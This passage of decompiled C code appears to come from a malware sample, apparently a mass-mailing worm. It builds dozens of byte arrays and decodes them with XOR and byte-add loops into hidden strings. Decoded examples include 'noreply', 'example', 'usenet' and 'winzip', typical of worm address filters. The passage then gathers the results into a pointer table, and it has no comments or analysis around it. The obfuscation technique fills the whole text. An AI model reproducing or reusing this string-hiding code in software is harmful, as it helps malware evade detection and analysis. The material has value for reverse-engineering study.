									_v445 = 0x2f;
									_v444 = 0x62;
									_v443 = 0;
									_v532 = 0xf1;
									_v531 = 0xbf;
									_v530 = 0xa1;
									_v529 = 0x45;
									_v528 = 0xde;
									_v527 = 0;
									_t1172 = 0;
									do {
										 *((char*)(_t1506 + _t1172 + 0x1d0)) =  *((intOrPtr*)(_t1506 + _t1172 + 0x1d0)) +  *((intOrPtr*)(_t1506 + _t1172 + 0x17c));
										_t1172 = _t1172 + 1;
									} while (_t1172 < 6);
									_push(7);
									_push( &_v152);
									_v152 = 0xcb;
									_v151 = 0x45;
									_v150 = 0x7a;
									_v149 = 0x78;
									_v148 = 0x55;
									_v147 = 0x63;
									_v146 = 0xc;
									_v532 = 0xb3;
									_v531 = 0xde;
									_v530 = 0xbf;
									_v529 = 0xcc;
									_v528 = 0xb8;
									_v527 = 0xdd;
									_v526 = 0xaf;
									_v856 = E00407370( &_v532);
									_v184 = 0x80;
									_v183 = 0xbe;
									_v182 = 0x8c;
									_v181 = 0x5a;
									_v180 = 0x99;
									_v179 = 0xba;
									_v532 = 0xba;
									_v531 = 0xf7;
									_v530 = 0x33;
									_v529 = 0xe1;
									_v528 = 0xda;
									_v527 = 0xe1;
									_v820 = E004073E0( &_v532, 6,  &_v184);
									_push( &_v116);
									_t1482 = 8;
									_v116 = 0x67;
									_v115 = 0x6e;
									_v114 = 7;
									_v113 = 0xec;
									_v112 = 0xbe;
									_v111 = 0xcc;
									_v110 = 0x32;
									_v109 = 0x3f;
									_v536 = 0x3f;
									_v535 = 0x46;
									_v534 = 0xbe;
									_v533 = 0xd1;
									_v532 = 0x9c;
									_v531 = 0x77;
									_v530 = 0x1b;
									_v529 = 0x14;
									_t1178 = E004073E0( &_v536, _t1482);
									_v174 = _t1285;
									_v173 = _t1285;
									_v170 = _t1285;
									_push(7);
									_push( &_v176);
									_v856 = _t1178;
									_v176 = 0x28;
									_v175 = 0x1e;
									_v172 = 0x48;
									_v171 = 0xd;
									_v540 = 0xb7;
									_v539 = 0xc0;
									_v538 = 0xa9;
									_v537 = 0xc7;
									_v536 = 0xb5;
									_v535 = 0xd4;
									_v534 = 0xa6;
									_t1179 = E00407370( &_v540);
									_t1509 = _t1506 + 0x10;
									_v816 = _t1179;
									_v360 = 4;
									_v359 = 0x1a;
									_v358 = 0x1d;
									_v357 = 9;
									_v356 = 0x1a;
									_v355 = 3;
									_v354 = 0x73;
									_t1180 = 0;
									do {
										 *(_t1509 + _t1180 + 0x230) =  *(_t1509 + _t1180 + 0x230) ^ 0x00000073;
										_t1180 = _t1180 + 1;
									} while (_t1180 < 7);
									_v368 = 0x88;
									_v367 = 0x46;
									_v366 = 0x57;
									_v365 = 0xc8;
									_v364 = 0x41;
									_v363 = 3;
									_v362 = 0x4e;
									_v532 = 0xfd;
									_v531 = 0x36;
									_v530 = 0x33;
									_v529 = 0xa9;
									_v528 = 0x35;
									_v527 = 0x66;
									_v526 = 0x4e;
									_t1181 = 0;
									do {
										 *(_t1509 + _t1181 + 0x220) =  *(_t1509 + _t1181 + 0x220) ^  *(_t1509 + _t1181 + 0x17c);
										_t1181 = _t1181 + 1;
									} while (_t1181 < 7);
									_v464 = 0x25;
									_v463 = 0x6e;
									_v462 = 0x75;
									_v461 = 0x61;
									_v460 = 0xd6;
									_v532 = 0x50;
									_v531 = 0;
									_v530 = 0x1c;
									_v529 = 0x19;
									_v528 = 0xd6;
									_t1182 = 0;
									do {
										 *(_t1509 + _t1182 + 0x1c0) =  *(_t1509 + _t1182 + 0x1c0) ^  *(_t1509 + _t1182 + 0x17c);
										_t1182 = _t1182 + 1;
									} while (_t1182 < 5);
									_v360 = 0x3e;
									_v359 = 0x24;
									_v358 = 0x13;
									_v357 = 0xb8;
									_v356 = 0xa5;
									_v355 = 0xef;
									_v354 = 0xb3;
									_v532 = 0x35;
									_v531 = 0x41;
									_v530 = 0x50;
									_v529 = 0xbd;
									_v528 = 0xcd;
									_v527 = 0x76;
									_v526 = 0x4d;
									_t1183 = 0;
									do {
										 *((char*)(_t1509 + _t1183 + 0x228)) =  *((intOrPtr*)(_t1509 + _t1183 + 0x228)) +  *((intOrPtr*)(_t1509 + _t1183 + 0x17c));
										_t1183 = _t1183 + 1;
									} while (_t1183 < 7);
									_v244 = 0x21;
									_v243 = 0xb0;
									_v242 = 0x48;
									_v241 = 0x45;
									_v240 = 0x79;
									_v239 = 0xc0;
									_v238 = 0xe0;
									_v237 = 0x7f;
									_v236 = 0x3d;
									_v532 = 0x48;
									_v531 = 0xd3;
									_v530 = 0x3a;
									_v529 = 0x2a;
									_v528 = 0xa;
									_v527 = 0xaf;
									_v526 = 0x86;
									_v525 = 0xb;
									_v524 = 0x3d;
									_t1184 = 0;
									do {
										 *(_t1509 + _t1184 + 0x29c) =  *(_t1509 + _t1184 + 0x29c) ^  *(_t1509 + _t1184 + 0x17c);
										_t1184 = _t1184 + 1;
									} while (_t1184 < 9);
									_v232 = 0xfd;
									_v231 = 0xbf;
									_v230 = 0x39;
									_v229 = 0xaa;
									_v228 = 0xaa;
									_v532 = 0xaa;
									_v531 = 0xda;
									_v530 = 0x4a;
									_v529 = 0xde;
									_v528 = 0x96;
									_v844 = E004073E0( &_v532, 5,  &_v232);
									_push( &_v196);
									_t1484 = 6;
									asm("pushad");
									asm("popad");
									_v196 = 0xfd;
									_v195 = 0xfa;
									_v194 = 0xf2;
									_v193 = 0xc2;
									_v192 = 0x5c;
									_v191 = 0xa2;
									_v536 = 0xa2;
									_v535 = 0x24;
									_v534 = 0xb7;
									_v533 = 0x9c;
									_v532 = 0x93;
									_v531 = 0x91;
									_t1189 = E004073E0( &_v536, _t1484);
									_push(5);
									_push( &_v184);
									_v808 = _t1189;
									_v184 = 0x90;
									_v183 = 0xec;
									_v182 = 0xd;
									_v181 = 3;
									_v180 = 3;
									_v179 = 0x7d;
									_v540 = 0x60;
									_v539 = 0xc;
									_v538 = 0x63;
									_v537 = 0;
									_v536 = 0x61;
									_v535 = 0xd;
									_t1190 = E00407370( &_v540);
									_t1510 = _t1509 + 8;
									_v840 = _t1190;
									_v464 = 0x27;
									_v463 = 0x70;
									_v462 = 0x19;
									_v461 = 0x4e;
									_v460 = 0xbb;
									_v540 = 0x49;
									_v539 = 0x15;
									_v538 = 0x6e;
									_v537 = 0x3d;
									_v536 = 0xbb;
									_t1191 = 0;
									do {
										 *(_t1510 + _t1191 + 0x1c8) =  *(_t1510 + _t1191 + 0x1c8) ^  *(_t1510 + _t1191 + 0x17c);
										_t1191 = _t1191 + 1;
									} while (_t1191 < 5);
									_v392 = 6;
									_v391 = 0x34;
									_v390 = 0xa9;
									_v389 = 0x5f;
									_v388 = 3;
									_v387 = 0x7d;
									_v386 = 0x83;
									_v532 = 0x68;
									_v531 = 0x5b;
									_v530 = 0xcb;
									_v529 = 0x30;
									_v528 = 0x67;
									_v527 = 4;
									_v526 = 0x83;
									_t1192 = 0;
									do {
										 *(_t1510 + _t1192 + 0x208) =  *(_t1510 + _t1192 + 0x208) ^  *(_t1510 + _t1192 + 0x17c);
										_t1192 = _t1192 + 1;
									} while (_t1192 < 7);
									_v424 = 0xea;
									_v423 = 0xeb;
									_v422 = 0xeb;
									_v421 = 0xea;
									_v420 = 0xe1;
									_v419 = 0x84;
									_t1193 = 0;
									do {
										 *(_t1510 + _t1193 + 0x1e8) =  *(_t1510 + _t1193 + 0x1e8) ^ 0x00000084;
										_t1193 = _t1193 + 1;
									} while (_t1193 < 6);
									_v320 = 0xad;
									_v319 = 0xac;
									_v318 = 0xb1;
									_v317 = 0xa6;
									_v316 = 0xb3;
									_v315 = 0xaf;
									_v314 = 0xba;
									_v313 = 0xc3;
									_t1194 = 0;
									do {
										 *(_t1510 + _t1194 + 0x250) =  *(_t1510 + _t1194 + 0x250) ^ 0x000000c3;
										_t1194 = _t1194 + 1;
									} while (_t1194 < 8);
									_push(8);
									_push( &_v128);
									_v128 = 0x63;
									_v127 = 0xe4;
									_v126 = 0x61;
									_v125 = 0x26;
									_v124 = 0xb9;
									_v123 = 0xf7;
									_v122 = 0xbd;
									_v121 = 0xf3;
									_v532 = 0x64;
									_v531 = 0x17;
									_v530 = 0x76;
									_v529 = 0x1b;
									_v528 = 0x6b;
									_v527 = 7;
									_v526 = 0x62;
									_v525 = 0x11;
									_t1196 = E00407370( &_v532);
									_t1511 = _t1510 + 8;
									_v792 = _t1196;
									_v496 = 0x35;
									_v495 = 0x6a;
									_v494 = 0x1d;
									_v493 = 0xe8;
									_v492 = 0x88;
									_v532 = 0x46;
									_v531 = 0x1a;
									_v530 = 0x7c;
									_v529 = 0x85;
									_v528 = 0x88;
									_t1197 = 0;
									_push(_t1484);
									do {
										 *(_t1511 + _t1197 + 0x1a0) =  *(_t1511 + _t1197 + 0x1a0) ^  *(_t1511 + _t1197 + 0x17c);
										_t1197 = _t1197 + 1;
									} while (_t1197 < 5);
									_push(7);
									_push( &_v160);
									_v160 = 0xab;
									_v159 = 0x67;
									_v158 = 0xda;
									_v157 = 0x4a;
									_v156 = 0xa1;
									_v155 = 0xf2;
									_v154 = 0x69;
									_v532 = 0x3c;
									_v531 = 0x49;
									_v530 = 0x39;
									_v529 = 0x5d;
									_v528 = 0x3c;
									_v527 = 0x48;
									_v526 = 0x2d;
									_t1198 = E00407370( &_v532);
									_t1512 = _t1511 + 8;
									_v824 = _t1198;
									_v512 = 0x17;
									_v511 = 4;
									_v510 = 0xdd;
									_v509 = 0xdb;
									_v508 = 0x3c;
									_v532 = 0x29;
									_v531 = 0x5d;
									_v530 = 0x99;
									_v529 = 0x95;
									_v528 = 0xc4;
									_t1199 = 0;
									do {
										 *((char*)(_t1512 + _t1199 + 0x190)) =  *((intOrPtr*)(_t1512 + _t1199 + 0x190)) +  *((intOrPtr*)(_t1512 + _t1199 + 0x17c));
										_t1199 = _t1199 + 1;
									} while (_t1199 < 5);
									_v480 = 4;
									_v479 = 0x87;
									_v478 = 0xf7;
									_v477 = 0xd4;
									_v476 = 0x19;
									_v532 = 0x44;
									_v531 = 0xe1;
									_v530 = 0x98;
									_v529 = 0xbb;
									_v528 = 0x19;
									_t1200 = 0;
									do {
										 *(_t1512 + _t1200 + 0x1b0) =  *(_t1512 + _t1200 + 0x1b0) ^  *(_t1512 + _t1200 + 0x17c);
										_t1200 = _t1200 + 1;
									} while (_t1200 < 5);
									_v295 = 0x53;
									_v291 = 0x53;
									_v296 = 0x29;
									_v294 = 0xf6;
									_v293 = 0x3e;
									_v292 = 0xc8;
									_v290 = 0x8b;
									_v289 = 0xa2;
									_v532 = 0x48;
									_v531 = 0x3d;
									_v530 = 0x8f;
									_v529 = 0x51;
									_v528 = 0xa6;
									_v527 = 0x36;
									_v526 = 0xcb;
									_v525 = 0xa2;
									_t1202 = 0;
									do {
										 *(_t1512 + _t1202 + 0x268) =  *(_t1512 + _t1202 + 0x268) ^  *(_t1512 + _t1202 + 0x17c);
										_t1202 = _t1202 + 1;
									} while (_t1202 < 8);
									_v888 = 0x88;
									_v887 = 0x99;
									_v886 = 0x8e;
									_v885 = 0xea;
									_t1203 = 0;
									do {
										 *(_t1512 + _t1203 + 0x18) =  *(_t1512 + _t1203 + 0x18) ^ 0x000000ea;
										_t1203 = _t1203 + 1;
									} while (_t1203 < 4);
									_v440 = 0xd;
									_v439 = 0x1a;
									_v438 = 8;
									_v437 = 0x1c;
									_v436 = 0x2f;
									_v435 = 0x6f;
									_t1204 = 0;
									do {
										 *(_t1512 + _t1204 + 0x1d8) =  *(_t1512 + _t1204 + 0x1d8) ^ 0x0000006f;
										_t1204 = _t1204 + 1;
									} while (_t1204 < 6);
									_push(6);
									_push( &_v200);
									_v200 = 0x49;
									_v199 = 0xc5;
									_v198 = 0x38;
									_v197 = 0xa9;
									_v196 = 0x2d;
									_v195 = 0xd6;
									_v532 = 0xde;
									_v531 = 0xbd;
									_v530 = 0xdc;
									_v529 = 0xba;
									_v528 = 0xdf;
									_v527 = 0xba;
									_t1205 = E00407370( &_v532);
									_t1513 = _t1512 + 8;
									_v784 = _t1205;
									_v256 = 0x47;
									_v255 = 0x33;
									_v254 = 0x6c;
									_v253 = 7;
									_v252 = 0x66;
									_v251 = 0x81;
									_v250 = 0xfd;
									_v249 = 0xe8;
									_v248 = 0x5b;
									_v532 = 0x24;
									_v531 = 0x56;
									_v530 = 0x1e;
									_v529 = 0x73;
									_v528 = 0xf;
									_v527 = 0xe7;
									_v526 = 0x94;
									_v525 = 0x8b;
									_v524 = 0x5b;
									_t1206 = 0;
									do {
										 *(_t1513 + _t1206 + 0x290) =  *(_t1513 + _t1206 + 0x290) ^  *(_t1513 + _t1206 + 0x17c);
										_t1206 = _t1206 + 1;
									} while (_t1206 < 9);
									_v68 = 0x25;
									_v67 = 0x4b;
									_v66 = 0xfd;
									_v65 = 0x36;
									_v64 = 0x86;
									_v63 = 0xac;
									_v62 = 0x3c;
									_v61 = 0;
									_v60 = 0xc3;
									_v59 = 0x49;
									_v532 = 0x49;
									_v531 = 0x83;
									_v530 = 0x74;
									_v529 = 0x5f;
									_v528 = 0xcd;
									_v527 = 0xf4;
									_v526 = 0x42;
									_v525 = 0x93;
									_v524 = 0x24;
									_v523 = 0x46;
									_v868 = E004073E0( &_v532, 0xa,  &_v68);
									_v436 = 0xda;
									_v435 = 0x71;
									_v434 = 0x65;
									_v433 = 0x2a;
									_v432 = 0xe4;
									_v431 = 0x15;
									_v536 = 0x8e;
									_v535 = 0xf4;
									_v534 = 7;
									_v533 = 0x46;
									_v532 = 0x5c;
									_v531 = 0xeb;
									_t1209 = 0;
									do {
										 *((char*)(_t1513 + _t1209 + 0x1e0)) =  *((intOrPtr*)(_t1513 + _t1209 + 0x1e0)) +  *((intOrPtr*)(_t1513 + _t1209 + 0x17c));
										_t1209 = _t1209 + 1;
									} while (_t1209 < 6);
									_v416 = 0xe4;
									_v415 = 0xb1;
									_v414 = 0xf5;
									_v413 = 0x81;
									_v412 = 0x8f;
									_v411 = 0x5f;
									_v532 = 0x85;
									_v531 = 0xbd;
									_v530 = 0x71;
									_v529 = 0xee;
									_v528 = 0xb1;
									_v527 = 0xa1;
									_t1210 = 0;
									do {
										 *((char*)(_t1513 + _t1210 + 0x1f0)) =  *((intOrPtr*)(_t1513 + _t1210 + 0x1f0)) +  *((intOrPtr*)(_t1513 + _t1210 + 0x17c));
										_t1210 = _t1210 + 1;
									} while (_t1210 < 6);
									_v400 = 0x31;
									_v399 = 0xec;
									_v398 = 0xde;
									_v397 = 0x4b;
									_v396 = 0xe6;
									_v395 = 0x37;
									_v532 = 0x3f;
									_v531 = 0x75;
									_v530 = 0x90;
									_v529 = 0x19;
									_v528 = 0x7b;
									_v527 = 0xc9;
									_t1211 = 0;
									do {
										_t1306 =  *((intOrPtr*)(_t1513 + _t1211 + 0x200)) +  *((intOrPtr*)(_t1513 + _t1211 + 0x17c));
										 *((char*)(_t1513 + _t1211 + 0x200)) =  *((intOrPtr*)(_t1513 + _t1211 + 0x200)) +  *((intOrPtr*)(_t1513 + _t1211 + 0x17c));
										_t1211 = _t1211 + 1;
									} while (_t1211 < 6);
									_v877 = 0xf0;
									_v520 = 0xf0;
									_push( &_v880);
									_t1487 = 4;
									_v880 = 0x35;
									_v879 = 0x9d;
									_v878 = 0xdc;
									_v519 = 0xac;
									_v518 = 0xfa;
									_v517 = 0x45;
									_v816 = E004073E0( &_v520, _t1487, _t1306);
									_v348 = 0x28;
									_v347 = 0x3b;
									_v346 = 0x2e;
									_v345 = 0x33;
									_v344 = 0x34;
									_v343 = 0x3d;
									_v342 = 0x5a;
									_t1215 = 0;
									do {
										 *(_t1513 + _t1215 + 0x238) =  *(_t1513 + _t1215 + 0x238) ^ 0x0000005a;
										_t1215 = _t1215 + 1;
									} while (_t1215 < 7);
									_push( &_v208);
									_t1488 = 5;
									_v208 = 0x7a;
									_v207 = 0xb8;
									_v206 = 0x1e;
									_v205 = 0x91;
									_v204 = 0xf2;
									_v532 = 0xf2;
									_v531 = 0xe4;
									_v530 = 0x7a;
									_v529 = 0xdd;
									_v528 = 0x54;
									_v800 = E004073E0( &_v532, _t1488);
									_v508 = 0x29;
									_v507 = 0x6e;
									_v506 = 0x9e;
									_v505 = 0x34;
									_v504 = 0xd0;
									_v536 = 7;
									_v535 = 9;
									_v534 = 0xf1;
									_v533 = 0x42;
									_v532 = 0xd0;
									_t1219 = 0;
									do {
										 *(_t1513 + _t1219 + 0x198) =  *(_t1513 + _t1219 + 0x198) ^  *(_t1513 + _t1219 + 0x17c);
										_t1219 = _t1219 + 1;
									} while (_t1219 < 5);
									_v532 = 0xd0;
									_push(5);
									_push( &_v224);
									_v224 = 0xdb;
									_v223 = 0x69;
									_v222 = 0x84;
									_v221 = 0x23;
									_v220 = 3;
									_v531 = 0xfe;
									_v530 = 0x93;
									_v529 = 0xfa;
									_v528 = 0x96;
									_t1221 = E00407370( &_v532);
									_push(9);
									_push( &_v104);
									_v804 = _t1221;
									_v104 = 0x12;
									_v103 = 0xa1;
									_v102 = 0x1d;
									_v101 = 0x83;
									_v100 = 0x74;
									_v99 = 0xe9;
									_v98 = 0x5b;
									_v97 = 0x5a;
									_v96 = 0x4b;
									_v532 = 0x93;
									_v531 = 0xf1;
									_v530 = 0x94;
									_v529 = 0xe6;
									_v528 = 0x8d;
									_v527 = 0xe8;
									_v526 = 0x84;
									_v525 = 0xe1;
									_v524 = 0x98;
									_t1222 = E00407370( &_v532);
									_t1514 = _t1513 + 0x10;
									_v788 = _t1222;
									_v288 = 0xbc;
									_v287 = 0xb0;
									_v286 = 0xb1;
									_v285 = 0xab;
									_v284 = 0xbe;
									_v283 = 0xbc;
									_v282 = 0xab;
									_v281 = 0xdf;
									_t1223 = 0;
									do {
										 *(_t1514 + _t1223 + 0x270) =  *(_t1514 + _t1223 + 0x270) ^ 0x000000df;
										_t1223 = _t1223 + 1;
									} while (_t1223 < 8);
									_v304 = 0x4b;
									_v303 = 0x56;
									_v302 = 0x4f;
									_v301 = 0x43;
									_v300 = 0x5e;
									_v299 = 0x42;
									_v298 = 0x4b;
									_v297 = 0x2e;
									_t1224 = 0;
									do {
										 *(_t1514 + _t1224 + 0x260) =  *(_t1514 + _t1224 + 0x260) ^ 0x0000002e;
										_t1224 = _t1224 + 1;
									} while (_t1224 < 8);
									_v488 = 0xa7;
									_v487 = 0xc7;
									_v486 = 0xbe;
									_v485 = 0x8e;
									_v484 = 0x14;
									_v532 = 0xbf;
									_v531 = 0xa2;
									_v530 = 0xa6;
									_v529 = 0xe1;
									_v528 = 0xec;
									_t1225 = 0;
									do {
										 *((char*)(_t1514 + _t1225 + 0x1a8)) =  *((intOrPtr*)(_t1514 + _t1225 + 0x1a8)) +  *((intOrPtr*)(_t1514 + _t1225 + 0x17c));
										_t1225 = _t1225 + 1;
									} while (_t1225 < 5);
									_push(4);
									_push( &_v872);
									_v872 = 0x83;
									_v871 = 0x40;
									_v870 = 0xeb;
									_v869 = 0x5c;
									_v520 = 0x45;
									_v519 = 0x22;
									_v518 = 0x4c;
									_v517 = 0x39;
									_t1227 = E00407370( &_v520);
									_push(0xb);
									_push( &_v56);
									_v860 = _t1227;
									_v56 = 0x88;
									_v55 = 0x9c;
									_v54 = 0x95;
									_v53 = 0x1d;
									_v52 = 0xbd;
									_v51 = 0x48;
									_v50 = 0x67;
									_v49 = 0x6a;
									_v48 = 0xa9;
									_v47 = 0xb0;
									_v46 = 0xbc;
									_v532 = 0x86;
									_v531 = 0xe1;
									_v530 = 0x8e;
									_v529 = 0xe2;
									_v528 = 0x86;
									_v527 = 0xab;
									_v526 = 0xc8;
									_v525 = 0xad;
									_v524 = 0xdf;
									_v523 = 0xab;
									_v522 = 0xd8;
									_v852 = E00407370( &_v532);
									_v138 = 0xe;
									_v532 = 0xe;
									_v144 = 0xc4;
									_v143 = 0x64;
									_v142 = 0x99;
									_v141 = 0x7b;
									_v140 = 0xe3;
									_v139 = 0x8b;
									_v531 = 0xee;
									_v530 = 0x8f;
									_v529 = 0x1c;
									_v528 = 0xf6;
									_v527 = 0xb;
									_v526 = 0xa3;
									_v848 = E004073E0( &_v532, 7,  &_v144);
									_push(5);
									_push( &_v220);
									_v220 = 0x39;
									_v219 = 0xcb;
									_v218 = 0xd1;
									_v217 = 0x15;
									_v216 = 0x5b;
									_v536 = 0x1c;
									_v535 = 0x74;
									_v534 = 0x11;
									_v533 = 0x7d;
									_v532 = 0xd;
									_t1233 = E00407370( &_v536);
									_t1516 = _t1514 + 0x18;
									_v840 = _t1233;
									_v316 = 0xbe;
									_v315 = 0x45;
									_v314 = 0xf2;
									_v313 = 0x15;
									_v312 = 0x9d;
									_v311 = 0x1e;
									_v310 = 0xdb;
									_v309 = 0x81;
									_v536 = 0xd7;
									_v535 = 0x27;
									_v534 = 0x9f;
									_v533 = 0x3b;
									_v532 = 0xfe;
									_v531 = 0x71;
									_v530 = 0xb6;
									_v529 = 0x81;
									_t1234 = 0;
									do {
										 *(_t1516 + _t1234 + 0x258) =  *(_t1516 + _t1234 + 0x258) ^  *(_t1516 + _t1234 + 0x17c);
										_t1234 = _t1234 + 1;
									} while (_t1234 < 8);
									_v328 = 0xe8;
									_v327 = 0xe6;
									_v326 = 0xf1;
									_v325 = 0xed;
									_v324 = 0xe6;
									_v323 = 0xef;
									_v322 = 0x83;
									_t1235 = 0;
									do {
										 *(_t1516 + _t1235 + 0x248) =  *(_t1516 + _t1235 + 0x248) ^ 0x00000083;
										_t1235 = _t1235 + 1;
									} while (_t1235 < 7);
									_push(8);
									_push( &_v120);
									_v120 = 0x26;
									_v119 = 0xee;
									_v118 = 0x2d;
									_v117 = 0xb4;
									_v116 = 0x7d;
									_v115 = 0xce;
									_v114 = 0xb3;
									_v113 = 0xa6;
									_v532 = 0xcc;
									_v531 = 0xa1;
									_v530 = 0xce;
									_v529 = 0xb4;
									_v528 = 0xdd;
									_v527 = 0xb1;
									_v526 = 0xdd;
									_v525 = 0xbc;
									_t1236 = E00407370( &_v532);
									_t1517 = _t1516 + 8;
									_v828 = _t1236;
									_v280 = 0xbf;
									_v279 = 0x70;
									_v278 = 0x89;
									_v277 = 0x13;
									_v276 = 0x32;
									_v275 = 0x3a;
									_v274 = 0xee;
									_v273 = 0xb6;
									_v532 = 0xd2;
									_v531 = 9;
									_v530 = 0xed;
									_v529 = 0x7c;
									_v528 = 0x5f;
									_v527 = 0x5b;
									_v526 = 0x87;
									_v525 = 0xb6;
									_t1237 = 0;
									do {
										 *(_t1517 + _t1237 + 0x278) =  *(_t1517 + _t1237 + 0x278) ^  *(_t1517 + _t1237 + 0x17c);
										_t1237 = _t1237 + 1;
									} while (_t1237 < 8);
									_v264 = 0xc2;
									_v263 = 0xc0;
									_v262 = 0xcc;
									_v261 = 0xa8;
									_v260 = 0x1b;
									_v259 = 0xe8;
									_v258 = 0xb0;
									_v257 = 0xac;
									_v532 = 0xb2;
									_v531 = 0xb2;
									_v530 = 0xa5;
									_v529 = 0xde;
									_v528 = 0x7a;
									_v527 = 0x8b;
									_v526 = 0xc9;
									_v525 = 0xac;
									_t1238 = 0;
									do {
										 *(_t1517 + _t1238 + 0x288) =  *(_t1517 + _t1238 + 0x288) ^  *(_t1517 + _t1238 + 0x17c);
										_t1238 = _t1238 + 1;
									} while (_t1238 < 8);
									_v384 = 0x20;
									_v383 = 0x7d;
									_v382 = 0xb6;
									_v381 = 0x83;
									_v380 = 0x26;
									_v379 = 0x8e;
									_v378 = 0xdf;
									_v532 = 0x52;
									_v531 = 0xe9;
									_v530 = 0xad;
									_v529 = 0xaa;
									_v528 = 0x3f;
									_v527 = 0xd6;
									_v526 = 0x21;
									_t1239 = 0;
									do {
										 *((char*)(_t1517 + _t1239 + 0x210)) =  *((intOrPtr*)(_t1517 + _t1239 + 0x210)) +  *((intOrPtr*)(_t1517 + _t1239 + 0x17c));
										_t1239 = _t1239 + 1;
									} while (_t1239 < 7);
									_v408 = 0x49;
									_v407 = 0x5e;
									_v406 = 0xeb;
									_v405 = 0x2a;
									_v404 = 0x9c;
									_v403 = 0xed;
									_v532 = 0x3b;
									_v531 = 0x37;
									_v530 = 0x9b;
									_v529 = 0x4f;
									_v528 = 0xb2;
									_v527 = 0xed;
									_t1240 = 0;
									do {
										 *(_t1517 + _t1240 + 0x1f8) =  *(_t1517 + _t1240 + 0x1f8) ^  *(_t1517 + _t1240 + 0x17c);
										_t1240 = _t1240 + 1;
									} while (_t1240 < 6);
									_push(9);
									_push( &_v80);
									_v80 = 0x5f;
									_v79 = 0x23;
									_v78 = 0x3b;
									_v77 = 0xab;
									_v76 = 0x46;
									_v75 = 0x35;
									_v74 = 0x50;
									_v73 = 0x11;
									_v72 = 7;
									_v532 = 0x11;
									_v531 = 0x62;
									_v530 = 7;
									_v529 = 0x69;
									_v528 = 0xd;
									_v527 = 0x60;
									_v526 = 1;
									_v525 = 0x68;
									_v524 = 4;
									_t1242 = E00407370( &_v532);
									_t1518 = _t1517 + 8;
									_v820 = _t1242;
									_v272 = 0x8f;
									_v271 = 0x99;
									_v270 = 0x8e;
									_v269 = 0x8a;
									_v268 = 0x95;
									_v267 = 0x9f;
									_v266 = 0x99;
									_v265 = 0xfc;
									_t1243 = 0;
									do {
										 *(_t1518 + _t1243 + 0x280) =  *(_t1518 + _t1243 + 0x280) ^ 0x000000fc;
										_t1243 = _t1243 + 1;
									} while (_t1243 < 8);
									_v529 = 0x8a;
									_push(9);
									_push( &_v92);
									_v92 = 0xe6;
									_v91 = 0xd3;
									_v90 = 0xe5;
									_v89 = 0xc2;
									_v88 = 0xef;
									_v87 = 0xd8;
									_v86 = 0xd5;
									_v85 = 0x56;
									_v84 = 0x50;
									_v532 = 0xfb;
									_v531 = 0x88;
									_v530 = 0xe7;
									_v528 = 0xef;
									_v527 = 0x8d;
									_v526 = 0xe2;
									_v525 = 0x86;
									_v524 = 0xff;
									_t1319 = E00407370( &_v532);
									_t1519 = _t1518 + 8;
									_v129 = 0xc6;
									_v532 = 0xc6;
									_push( &_v136);
									asm("pushad");
									asm("popad");
									_t1490 = 8;
									_v136 = 0x54;
									_v135 = 0x44;
									_v134 = 0x24;
									_v133 = 0xa0;
									_v132 = 0x98;
									_v131 = 0x73;
									_v130 = 0x3a;
									_v531 = 0x5f;
									_v530 = 0x1d;
									_v529 = 0xf7;
									_v528 = 0xc5;
									_v527 = 0x49;
									_v526 = 0x2b;
									_v525 = 0x27;
									_v536 = E004073E0( &_v532, _t1490);
									_v380 = 0x74;
									_v379 = 0x72;
									_v378 = 0x64;
									_v377 = 0x6f;
									_v376 = 0x64;
									_v375 = 0x75;
									_v374 = 1;
									_t1248 = 0;
									do {
										 *(_t1519 + _t1248 + 0x218) =  *(_t1519 + _t1248 + 0x218) ^ 0x00000001;
										_t1248 = _t1248 + 1;
									} while (_t1248 < 7);
									_v876 = 0xc3;
									_v875 = 0xbd;
									_v874 = 0x29;
									_v873 = 0xe7;
									_v520 = 0xe7;
									_v519 = 0x5e;
									_v518 = 0xca;
									_v517 = 0xb4;
									_t1251 = E004073E0( &_v520, 4,  &_v876);
									_push(4);
									_push( &_v872);
									_t1499 = _t1251;
									_v872 = 0x91;
									_v871 = 0xb2;
									_v870 = 0;
									_v869 = 0x98;
									_v524 = 0xe0;
									_v523 = 0x99;
									_v522 = 0xf6;
									_v521 = 0x83;
									_t1252 = E00407370( &_v524);
									_t1520 = _t1519 + 8;
									_t1504 = _t1252;
									_v476 = 0xad;
									_v475 = 0xbb;
									_v474 = 0xa1;
									_v473 = 0xa6;
									_v472 = 0xd4;
									_t1253 = 0;
									do {
										 *(_t1520 + _t1253 + 0x1b8) =  *(_t1520 + _t1253 + 0x1b8) ^ 0x000000d4;
										_t1253 = _t1253 + 1;
									} while (_t1253 < 5);
									_v336 = 0x64;
									_v335 = 0xb0;
									_v334 = 0x5d;
									_v333 = 0x6c;
									_v332 = 0x63;
									_v331 = 0xb4;
									_v330 = 0xf8;
									_v520 = 0xfd;
									_v519 = 0xc0;
									_v518 = 4;
									_v517 = 0xf7;
									_v516 = 5;
									_v515 = 0xb1;
									_v514 = 8;
									_t1254 = 0;
									do {
										 *((char*)(_t1520 + _t1254 + 0x240)) =  *((intOrPtr*)(_t1520 + _t1254 + 0x240)) +  *((intOrPtr*)(_t1520 + _t1254 + 0x188));
										_t1254 = _t1254 + 1;
									} while (_t1254 < 7);
									_push( &_v884);
									_t1492 = 3;
									_v884 = 0x5a;
									_v883 = 0x34;
									_v882 = 0xa;
									_v520 = 0xa;
									_v519 = 0x4c;
									_v518 = 0x22;
									_t1257 = E004073E0( &_v520, _t1492);
									_v896 = 0x4a;
									_v895 = 0x7b;
									_v894 = 0xef;
									_v893 = 0x45;
									_v524 = 0x1c;
									_v523 = 0xf9;
									_v522 = 0x81;
									_v521 = 0xbb;
									_t1368 = 0;
									do {
										 *((intOrPtr*)(_t1520 + _t1368 + 0x14)) =  *((intOrPtr*)(_t1520 + _t1368 + 0x14)) +  *((intOrPtr*)(_t1520 + _t1368 + 0x188));
										_t1368 = _t1368 + 1;
									} while (_t1368 < 4);
									_v776 = _v856;
									_v768 = _v848;
									_v780 =  &_v448;
									_v772 = _v816;
									_v764 = _v808;
									_v760 =  &_v352;
									_v756 =  &_v368;
									_v752 =  &_v464;
									_v748 =  &_v360;
									_v740 = _v840;
									_v732 = _v832;
									_v744 =  &_v244;
									_v736 = _v800;
									_v728 =  &_v456;
									_v724 =  &_v392;
									_v720 =  &_v424;
									_v712 = _v792;
									_v704 = _v824;
									_v716 =  &_v320;
									_v708 =  &_v496;
									_v700 =  &_v512;
									_v696 =  &_v480;
									_v692 =  &_v296;
									_v688 =  &_v888;
									_v680 = _v784;
									_v684 =  &_v440;
									_v672 = _v864;
									_v676 =  &_v256;
									_v668 =  &_v432;
